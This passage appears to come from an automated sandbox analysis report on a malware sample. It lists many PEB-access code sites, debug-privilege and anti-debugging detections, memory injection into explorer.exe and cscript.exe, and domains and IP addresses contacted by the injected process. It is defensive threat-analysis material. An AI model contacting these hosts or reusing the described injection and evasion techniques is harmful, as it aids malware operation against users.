Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A6746D mov eax, dword ptr fs:[00000030h] 3_2_04A6746D
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A7A44B mov eax, dword ptr fs:[00000030h] 3_2_04A7A44B
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04ADC450 mov eax, dword ptr fs:[00000030h] 3_2_04ADC450
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04ADC450 mov eax, dword ptr fs:[00000030h] 3_2_04ADC450
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A735A1 mov eax, dword ptr fs:[00000030h] 3_2_04A735A1
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A71DB5 mov eax, dword ptr fs:[00000030h] 3_2_04A71DB5
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A71DB5 mov eax, dword ptr fs:[00000030h] 3_2_04A71DB5
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A71DB5 mov eax, dword ptr fs:[00000030h] 3_2_04A71DB5
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B105AC mov eax, dword ptr fs:[00000030h] 3_2_04B105AC
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B105AC mov eax, dword ptr fs:[00000030h] 3_2_04B105AC
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A72581 mov eax, dword ptr fs:[00000030h] 3_2_04A72581
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A72581 mov eax, dword ptr fs:[00000030h] 3_2_04A72581
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A72581 mov eax, dword ptr fs:[00000030h] 3_2_04A72581
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A72581 mov eax, dword ptr fs:[00000030h] 3_2_04A72581
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A42D8A mov eax, dword ptr fs:[00000030h] 3_2_04A42D8A
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A42D8A mov eax, dword ptr fs:[00000030h] 3_2_04A42D8A
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A42D8A mov eax, dword ptr fs:[00000030h] 3_2_04A42D8A
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A42D8A mov eax, dword ptr fs:[00000030h] 3_2_04A42D8A
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A42D8A mov eax, dword ptr fs:[00000030h] 3_2_04A42D8A
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A7FD9B mov eax, dword ptr fs:[00000030h] 3_2_04A7FD9B
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A7FD9B mov eax, dword ptr fs:[00000030h] 3_2_04A7FD9B
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A5D5E0 mov eax, dword ptr fs:[00000030h] 3_2_04A5D5E0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A5D5E0 mov eax, dword ptr fs:[00000030h] 3_2_04A5D5E0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B0FDE2 mov eax, dword ptr fs:[00000030h] 3_2_04B0FDE2
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B0FDE2 mov eax, dword ptr fs:[00000030h] 3_2_04B0FDE2
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B0FDE2 mov eax, dword ptr fs:[00000030h] 3_2_04B0FDE2
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B0FDE2 mov eax, dword ptr fs:[00000030h] 3_2_04B0FDE2
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AF8DF1 mov eax, dword ptr fs:[00000030h] 3_2_04AF8DF1
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AC6DC9 mov eax, dword ptr fs:[00000030h] 3_2_04AC6DC9
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AC6DC9 mov eax, dword ptr fs:[00000030h] 3_2_04AC6DC9
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AC6DC9 mov eax, dword ptr fs:[00000030h] 3_2_04AC6DC9
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AC6DC9 mov ecx, dword ptr fs:[00000030h] 3_2_04AC6DC9
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AC6DC9 mov eax, dword ptr fs:[00000030h] 3_2_04AC6DC9
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AC6DC9 mov eax, dword ptr fs:[00000030h] 3_2_04AC6DC9
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B18D34 mov eax, dword ptr fs:[00000030h] 3_2_04B18D34
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B0E539 mov eax, dword ptr fs:[00000030h] 3_2_04B0E539
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A53D34 mov eax, dword ptr fs:[00000030h] 3_2_04A53D34
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A53D34 mov eax, dword ptr fs:[00000030h] 3_2_04A53D34
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A53D34 mov eax, dword ptr fs:[00000030h] 3_2_04A53D34
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A53D34 mov eax, dword ptr fs:[00000030h] 3_2_04A53D34
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A53D34 mov eax, dword ptr fs:[00000030h] 3_2_04A53D34
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A53D34 mov eax, dword ptr fs:[00000030h] 3_2_04A53D34
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A53D34 mov eax, dword ptr fs:[00000030h] 3_2_04A53D34
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A53D34 mov eax, dword ptr fs:[00000030h] 3_2_04A53D34
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A53D34 mov eax, dword ptr fs:[00000030h] 3_2_04A53D34
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A53D34 mov eax, dword ptr fs:[00000030h] 3_2_04A53D34
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A53D34 mov eax, dword ptr fs:[00000030h] 3_2_04A53D34
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A53D34 mov eax, dword ptr fs:[00000030h] 3_2_04A53D34
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A53D34 mov eax, dword ptr fs:[00000030h] 3_2_04A53D34
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A4AD30 mov eax, dword ptr fs:[00000030h] 3_2_04A4AD30
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04ACA537 mov eax, dword ptr fs:[00000030h] 3_2_04ACA537
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A74D3B mov eax, dword ptr fs:[00000030h] 3_2_04A74D3B
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A74D3B mov eax, dword ptr fs:[00000030h] 3_2_04A74D3B
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A74D3B mov eax, dword ptr fs:[00000030h] 3_2_04A74D3B
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A6C577 mov eax, dword ptr fs:[00000030h] 3_2_04A6C577
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A6C577 mov eax, dword ptr fs:[00000030h] 3_2_04A6C577
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A83D43 mov eax, dword ptr fs:[00000030h] 3_2_04A83D43
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AC3540 mov eax, dword ptr fs:[00000030h] 3_2_04AC3540
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AF3D40 mov eax, dword ptr fs:[00000030h] 3_2_04AF3D40
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A67D50 mov eax, dword ptr fs:[00000030h] 3_2_04A67D50
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AC46A7 mov eax, dword ptr fs:[00000030h] 3_2_04AC46A7
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B10EA5 mov eax, dword ptr fs:[00000030h] 3_2_04B10EA5
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B10EA5 mov eax, dword ptr fs:[00000030h] 3_2_04B10EA5
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B10EA5 mov eax, dword ptr fs:[00000030h] 3_2_04B10EA5
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04ADFE87 mov eax, dword ptr fs:[00000030h] 3_2_04ADFE87
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A716E0 mov ecx, dword ptr fs:[00000030h] 3_2_04A716E0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A576E2 mov eax, dword ptr fs:[00000030h] 3_2_04A576E2
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B18ED6 mov eax, dword ptr fs:[00000030h] 3_2_04B18ED6
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A736CC mov eax, dword ptr fs:[00000030h] 3_2_04A736CC
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AFFEC0 mov eax, dword ptr fs:[00000030h] 3_2_04AFFEC0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A88EC7 mov eax, dword ptr fs:[00000030h] 3_2_04A88EC7
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A4E620 mov eax, dword ptr fs:[00000030h] 3_2_04A4E620
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AFFE3F mov eax, dword ptr fs:[00000030h] 3_2_04AFFE3F
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A4C600 mov eax, dword ptr fs:[00000030h] 3_2_04A4C600
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A4C600 mov eax, dword ptr fs:[00000030h] 3_2_04A4C600
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A4C600 mov eax, dword ptr fs:[00000030h] 3_2_04A4C600
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A78E00 mov eax, dword ptr fs:[00000030h] 3_2_04A78E00
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B01608 mov eax, dword ptr fs:[00000030h] 3_2_04B01608
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A7A61C mov eax, dword ptr fs:[00000030h] 3_2_04A7A61C
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A7A61C mov eax, dword ptr fs:[00000030h] 3_2_04A7A61C
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A5766D mov eax, dword ptr fs:[00000030h] 3_2_04A5766D
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A6AE73 mov eax, dword ptr fs:[00000030h] 3_2_04A6AE73
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A6AE73 mov eax, dword ptr fs:[00000030h] 3_2_04A6AE73
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A6AE73 mov eax, dword ptr fs:[00000030h] 3_2_04A6AE73
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A6AE73 mov eax, dword ptr fs:[00000030h] 3_2_04A6AE73
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A6AE73 mov eax, dword ptr fs:[00000030h] 3_2_04A6AE73
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A57E41 mov eax, dword ptr fs:[00000030h] 3_2_04A57E41
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A57E41 mov eax, dword ptr fs:[00000030h] 3_2_04A57E41
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A57E41 mov eax, dword ptr fs:[00000030h] 3_2_04A57E41
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A57E41 mov eax, dword ptr fs:[00000030h] 3_2_04A57E41
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A57E41 mov eax, dword ptr fs:[00000030h] 3_2_04A57E41
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A57E41 mov eax, dword ptr fs:[00000030h] 3_2_04A57E41
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B0AE44 mov eax, dword ptr fs:[00000030h] 3_2_04B0AE44
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B0AE44 mov eax, dword ptr fs:[00000030h] 3_2_04B0AE44
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A58794 mov eax, dword ptr fs:[00000030h] 3_2_04A58794
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AC7794 mov eax, dword ptr fs:[00000030h] 3_2_04AC7794
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AC7794 mov eax, dword ptr fs:[00000030h] 3_2_04AC7794
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AC7794 mov eax, dword ptr fs:[00000030h] 3_2_04AC7794
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A837F5 mov eax, dword ptr fs:[00000030h] 3_2_04A837F5
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A44F2E mov eax, dword ptr fs:[00000030h] 3_2_04A44F2E
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A44F2E mov eax, dword ptr fs:[00000030h] 3_2_04A44F2E
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A7E730 mov eax, dword ptr fs:[00000030h] 3_2_04A7E730
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A7A70E mov eax, dword ptr fs:[00000030h] 3_2_04A7A70E
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A7A70E mov eax, dword ptr fs:[00000030h] 3_2_04A7A70E
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A6F716 mov eax, dword ptr fs:[00000030h] 3_2_04A6F716
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B1070D mov eax, dword ptr fs:[00000030h] 3_2_04B1070D
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B1070D mov eax, dword ptr fs:[00000030h] 3_2_04B1070D
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04ADFF10 mov eax, dword ptr fs:[00000030h] 3_2_04ADFF10
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04ADFF10 mov eax, dword ptr fs:[00000030h] 3_2_04ADFF10
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A5FF60 mov eax, dword ptr fs:[00000030h] 3_2_04A5FF60
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B18F6A mov eax, dword ptr fs:[00000030h] 3_2_04B18F6A
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A5EF40 mov eax, dword ptr fs:[00000030h] 3_2_04A5EF40
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A890AF mov eax, dword ptr fs:[00000030h] 3_2_04A890AF
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A720A0 mov eax, dword ptr fs:[00000030h] 3_2_04A720A0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A720A0 mov eax, dword ptr fs:[00000030h] 3_2_04A720A0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A720A0 mov eax, dword ptr fs:[00000030h] 3_2_04A720A0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A720A0 mov eax, dword ptr fs:[00000030h] 3_2_04A720A0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A720A0 mov eax, dword ptr fs:[00000030h] 3_2_04A720A0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A720A0 mov eax, dword ptr fs:[00000030h] 3_2_04A720A0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A7F0BF mov ecx, dword ptr fs:[00000030h] 3_2_04A7F0BF
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A7F0BF mov eax, dword ptr fs:[00000030h] 3_2_04A7F0BF
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A7F0BF mov eax, dword ptr fs:[00000030h] 3_2_04A7F0BF
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A49080 mov eax, dword ptr fs:[00000030h] 3_2_04A49080
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AC3884 mov eax, dword ptr fs:[00000030h] 3_2_04AC3884
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AC3884 mov eax, dword ptr fs:[00000030h] 3_2_04AC3884
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A440E1 mov eax, dword ptr fs:[00000030h] 3_2_04A440E1
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A440E1 mov eax, dword ptr fs:[00000030h] 3_2_04A440E1
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A440E1 mov eax, dword ptr fs:[00000030h] 3_2_04A440E1
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A458EC mov eax, dword ptr fs:[00000030h] 3_2_04A458EC
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04ADB8D0 mov eax, dword ptr fs:[00000030h] 3_2_04ADB8D0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04ADB8D0 mov ecx, dword ptr fs:[00000030h] 3_2_04ADB8D0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04ADB8D0 mov eax, dword ptr fs:[00000030h] 3_2_04ADB8D0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04ADB8D0 mov eax, dword ptr fs:[00000030h] 3_2_04ADB8D0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04ADB8D0 mov eax, dword ptr fs:[00000030h] 3_2_04ADB8D0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04ADB8D0 mov eax, dword ptr fs:[00000030h] 3_2_04ADB8D0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A7002D mov eax, dword ptr fs:[00000030h] 3_2_04A7002D
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A7002D mov eax, dword ptr fs:[00000030h] 3_2_04A7002D
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A7002D mov eax, dword ptr fs:[00000030h] 3_2_04A7002D
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A7002D mov eax, dword ptr fs:[00000030h] 3_2_04A7002D
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A7002D mov eax, dword ptr fs:[00000030h] 3_2_04A7002D
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A5B02A mov eax, dword ptr fs:[00000030h] 3_2_04A5B02A
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A5B02A mov eax, dword ptr fs:[00000030h] 3_2_04A5B02A
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A5B02A mov eax, dword ptr fs:[00000030h] 3_2_04A5B02A
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A5B02A mov eax, dword ptr fs:[00000030h] 3_2_04A5B02A
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B14015 mov eax, dword ptr fs:[00000030h] 3_2_04B14015
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B14015 mov eax, dword ptr fs:[00000030h] 3_2_04B14015
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AC7016 mov eax, dword ptr fs:[00000030h] 3_2_04AC7016
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AC7016 mov eax, dword ptr fs:[00000030h] 3_2_04AC7016
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AC7016 mov eax, dword ptr fs:[00000030h] 3_2_04AC7016
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B02073 mov eax, dword ptr fs:[00000030h] 3_2_04B02073
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B11074 mov eax, dword ptr fs:[00000030h] 3_2_04B11074
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A60050 mov eax, dword ptr fs:[00000030h] 3_2_04A60050
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A60050 mov eax, dword ptr fs:[00000030h] 3_2_04A60050
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A761A0 mov eax, dword ptr fs:[00000030h] 3_2_04A761A0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A761A0 mov eax, dword ptr fs:[00000030h] 3_2_04A761A0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AC69A6 mov eax, dword ptr fs:[00000030h] 3_2_04AC69A6
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AC51BE mov eax, dword ptr fs:[00000030h] 3_2_04AC51BE
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AC51BE mov eax, dword ptr fs:[00000030h] 3_2_04AC51BE
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AC51BE mov eax, dword ptr fs:[00000030h] 3_2_04AC51BE
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AC51BE mov eax, dword ptr fs:[00000030h] 3_2_04AC51BE
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B049A4 mov eax, dword ptr fs:[00000030h] 3_2_04B049A4
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B049A4 mov eax, dword ptr fs:[00000030h] 3_2_04B049A4
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B049A4 mov eax, dword ptr fs:[00000030h] 3_2_04B049A4
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04B049A4 mov eax, dword ptr fs:[00000030h] 3_2_04B049A4
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A7A185 mov eax, dword ptr fs:[00000030h] 3_2_04A7A185
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A6C182 mov eax, dword ptr fs:[00000030h] 3_2_04A6C182
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A72990 mov eax, dword ptr fs:[00000030h] 3_2_04A72990
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04AD41E8 mov eax, dword ptr fs:[00000030h] 3_2_04AD41E8
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A4B1E1 mov eax, dword ptr fs:[00000030h] 3_2_04A4B1E1
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A4B1E1 mov eax, dword ptr fs:[00000030h] 3_2_04A4B1E1
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A4B1E1 mov eax, dword ptr fs:[00000030h] 3_2_04A4B1E1
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A64120 mov eax, dword ptr fs:[00000030h] 3_2_04A64120
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A64120 mov eax, dword ptr fs:[00000030h] 3_2_04A64120
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A64120 mov eax, dword ptr fs:[00000030h] 3_2_04A64120
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A64120 mov eax, dword ptr fs:[00000030h] 3_2_04A64120
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A64120 mov ecx, dword ptr fs:[00000030h] 3_2_04A64120
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A7513A mov eax, dword ptr fs:[00000030h] 3_2_04A7513A
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A7513A mov eax, dword ptr fs:[00000030h] 3_2_04A7513A
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A49100 mov eax, dword ptr fs:[00000030h] 3_2_04A49100
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A49100 mov eax, dword ptr fs:[00000030h] 3_2_04A49100
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A49100 mov eax, dword ptr fs:[00000030h] 3_2_04A49100
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A4C962 mov eax, dword ptr fs:[00000030h] 3_2_04A4C962
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A4B171 mov eax, dword ptr fs:[00000030h] 3_2_04A4B171
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A4B171 mov eax, dword ptr fs:[00000030h] 3_2_04A4B171
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A6B944 mov eax, dword ptr fs:[00000030h] 3_2_04A6B944
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A6B944 mov eax, dword ptr fs:[00000030h] 3_2_04A6B944
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A452A5 mov eax, dword ptr fs:[00000030h] 3_2_04A452A5
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A452A5 mov eax, dword ptr fs:[00000030h] 3_2_04A452A5
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A452A5 mov eax, dword ptr fs:[00000030h] 3_2_04A452A5
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A452A5 mov eax, dword ptr fs:[00000030h] 3_2_04A452A5
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A452A5 mov eax, dword ptr fs:[00000030h] 3_2_04A452A5
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A5AAB0 mov eax, dword ptr fs:[00000030h] 3_2_04A5AAB0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A5AAB0 mov eax, dword ptr fs:[00000030h] 3_2_04A5AAB0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A7FAB0 mov eax, dword ptr fs:[00000030h] 3_2_04A7FAB0
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A7D294 mov eax, dword ptr fs:[00000030h] 3_2_04A7D294
Source: C:\Windows\SysWOW64\cscript.exe Code function: 3_2_04A7D294 mov eax, dword ptr fs:[00000030h] 3_2_04A7D294
Enables debug privileges
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\cscript.exe Process token adjusted: Debug Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: www.aksharnewtown.com
Source: C:\Windows\explorer.exe Domain query: www.stacksyspro.net
Source: C:\Windows\explorer.exe Domain query: www.th0rgramm.com
Source: C:\Windows\explorer.exe Domain query: www.yakudatsu-hikaku.com
Source: C:\Windows\explorer.exe Domain query: www.xn--ol-xia.com
Source: C:\Windows\explorer.exe Network Connect: 118.27.95.215 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 91.236.136.12 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 23.227.38.74 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 81.17.18.198 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.investmentpartners.limited
Source: C:\Windows\explorer.exe Network Connect: 107.180.50.167 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 103.86.176.10 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.rainbowsdepot.com
Source: C:\Windows\explorer.exe Domain query: www.tonton-koubou.com
Source: C:\Windows\explorer.exe Network Connect: 163.44.185.226 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.recovatek.com
Source: C:\Windows\explorer.exe Network Connect: 104.21.37.16 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.jabberjawmobile.com
Source: C:\Windows\explorer.exe Network Connect: 34.102.136.180 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.formula-kuhni.com
Source: C:\Windows\explorer.exe Domain query: www.alliedcds.com
Source: C:\Windows\explorer.exe Domain query: www.selectenergyservicestx.com
Source: C:\Windows\explorer.exe Domain query: www.ugonget.com
Contains functionality to prevent local Windows debugging
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Code function: 0_2_709B1000 Rcxlxosdkhvclf,IsDebuggerPresent,DebugBreak,GetTempPathW,lstrcatW,CreateFileW,GetFileSize,VirtualAlloc,ReadFile,VirtualProtect, 0_2_709B1000
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Section loaded: unknown target: C:\Users\user\Desktop\4oItdZkNOZ.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Section loaded: unknown target: C:\Windows\SysWOW64\cscript.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Section loaded: unknown target: C:\Windows\SysWOW64\cscript.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\cscript.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
